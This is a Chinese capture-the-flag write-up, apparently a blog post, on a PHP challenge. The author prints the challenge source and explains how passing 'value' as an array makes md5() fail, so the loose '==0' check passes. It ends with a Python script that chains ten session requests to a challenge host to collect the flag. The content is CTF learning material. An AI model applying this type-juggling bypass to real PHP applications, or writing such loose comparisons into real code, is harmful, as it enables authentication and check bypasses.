其实不难,但是作为我这个代码菜鸡+脑洞菜鸡+黑阔菜鸡而言确实挺难。
题目源码:
<?php error_reporting(0); session_start(); require('./flag.php'); if(!isset($_SESSION['nums'])){ $_SESSION['nums'] = 0; $_SESSION['time'] = time(); $_SESSION['whoami'] = 'ea'; } if($_SESSION['time']+120<time()){ session_destroy(); } $value = $_REQUEST['value']; $str_rand = range('a', 'z'); $str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)]; if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){ $_SESSION['nums']++; $_SESSION['whoami'] = $str_rands; echo $str_rands; } if($_SESSION['nums']>=10){ echo $flag; } show_source(__FILE__); ?>
最主要的是那个19行的if语句。能够让她执行十次就可以得到Flag了。
首先先看一下if后面的那个代码:
substr(md5($value),5,4) == 0
其实他压根就是为真因为我们传如value是以数组的形式传入所以是不能用md5加密的。否则就是错误。这就是一道弱类型。所以这个不用管,因为他本身就为真。
主要是前面的
$_SESSION['whoami']==($value[0].$value[1])
第一次传入ea然后就可以等于第8行,但是到了21行$str_rands这个变量又将$_SESSION['whoami']的值给覆盖了,而$str_rands的值是通过
$str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
随机生成的。所以要进行一直浏览这个界面就可以得到Flag就行了。
作为python菜鸡网上找了相关案例:
#!usr/bin/env python #!coding=utf-8 __author__ = 'zhengjim' import requests aa = requests.session() code = aa.get('http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/?value[0]=e&value[1]=a').text # print code cc = code[:2] for i in xrange(10): url = 'http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/index.php?value[0]={}&value[1]={}'.format(cc[0],cc[1]) flag= aa.get(url=url).text cc = flag[:2] print flag